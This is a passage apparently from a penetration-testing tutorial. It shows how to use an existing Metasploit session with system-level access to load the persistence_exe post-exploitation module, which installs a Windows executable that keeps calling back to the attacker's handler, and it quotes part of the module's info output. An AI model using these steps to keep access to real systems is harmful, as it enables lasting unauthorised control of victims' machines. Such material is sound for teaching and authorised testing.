We are going to use our existing session first, to load a persistent executable on to the system, which will continue to call back to our multi/handler. Since we have this session already, and it has system-level access, loading this will be easy. To load the module, run the following:
use post/windows/manage/persistence_exe
The persistence_exe module's information says the following:
msf post(persistence_exe) > info Name: Windows Manage Persistent EXE Payload Installer Module: post/windows/manage/persistence_exe Platform: Windows Arch: Rank: Normal Provided by: Merlyn drforbin Cousins <drforbin6@gmail.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- ...